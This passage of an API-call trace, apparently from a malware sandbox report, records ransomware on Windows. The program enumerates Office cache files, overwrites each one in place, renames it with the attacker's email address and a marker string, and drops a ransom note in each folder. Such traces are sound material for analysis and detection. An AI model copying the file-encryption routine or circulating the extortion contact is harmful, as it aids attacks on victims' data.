[0037.080] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0037.080] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0037.080] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0037.080] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0037.094] GetProcessHeap () returned 0x2e0000
[0037.094] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0037.094] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x106f, lpOverlapped=0x0) returned 1
[0037.106] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffef91, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0037.106] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x106f, lpOverlapped=0x0) returned 1
[0037.117] GetProcessHeap () returned 0x2e0000
[0037.118] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.118] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0037.118] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0037.118] CloseHandle (hObject=0x10c) returned 1
[0037.120] GetProcessHeap () returned 0x2e0000
[0037.120] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0037.120] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0037.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0037.125] GetProcessHeap () returned 0x2e0000
[0037.125] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.125] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0037.140] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0037.141] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0037.150] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0037.159] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0037.160] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0037.162] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0037.164] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0037.164] CloseHandle (hObject=0x10c) returned 1
[0037.171] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0037.173] GetProcessHeap () returned 0x2e0000
[0037.173] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0037.173] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1
[0037.173] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 66
[0037.173] GetProcessHeap () returned 0x2e0000
[0037.173] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0037.176] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*") returned 68
[0037.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0037.510] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.") returned 68
[0037.510] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0037.510] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0037.530] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0037.531] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\..") returned 69
[0037.531] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0037.531] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0037.531] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0037.532] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0037.532] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0037.532] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0037.535] GetProcessHeap () returned 0x2e0000
[0037.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0037.535] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x978, lpOverlapped=0x0) returned 1
[0037.542] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0037.544] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x978, lpOverlapped=0x0) returned 1
[0037.544] GetProcessHeap () returned 0x2e0000
[0037.544] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.544] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0037.544] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0037.544] CloseHandle (hObject=0x10c) returned 1
[0037.545] GetProcessHeap () returned 0x2e0000
[0037.545] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0037.545] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0037.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0037.547] GetProcessHeap () returned 0x2e0000
[0037.547] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.547] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1
[0037.547] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 77
[0037.547] StrStrIW (lpFirst="WordLR.cab", lpSrch="SDfghjkl") returned 0x0
[0037.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0037.547] GetProcessHeap () returned 0x2e0000
[0037.547] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0037.547] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0037.550] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0037.550] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0037.550] GetProcessHeap () returned 0x2e0000
[0037.550] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.550] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0037.550] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0037.552] CloseHandle (hObject=0x10c) returned 1
[0037.982] GetProcessHeap () returned 0x2e0000
[0037.982] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0037.982] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0037.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0038.762] GetProcessHeap () returned 0x2e0000
[0038.762] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0038.762] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1
[0038.762] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 78
[0038.762] StrStrIW (lpFirst="WordMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0038.762] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0038.763] GetProcessHeap () returned 0x2e0000
[0038.763] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0038.763] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0038.849] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0038.849] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0038.849] GetProcessHeap () returned 0x2e0000
[0038.849] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0038.849] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0038.849] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0039.221] CloseHandle (hObject=0x10c) returned 1
[0039.964] GetProcessHeap () returned 0x2e0000
[0039.964] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0039.964] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0039.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0039.964] GetProcessHeap () returned 0x2e0000
[0039.964] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0039.964] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1
[0039.965] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 78
[0039.965] StrStrIW (lpFirst="WordMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0039.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0039.965] GetProcessHeap () returned 0x2e0000
[0039.965] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0039.965] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x708, lpOverlapped=0x0) returned 1
[0039.966] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0039.967] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x708, lpOverlapped=0x0) returned 1
[0039.967] GetProcessHeap () returned 0x2e0000
[0039.967] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0039.967] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0039.967] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0039.967] CloseHandle (hObject=0x10c) returned 1
[0039.968] GetProcessHeap () returned 0x2e0000
[0039.968] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0039.968] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0039.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0039.968] GetProcessHeap () returned 0x2e0000
[0039.968] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0039.968] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0
[0039.968] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
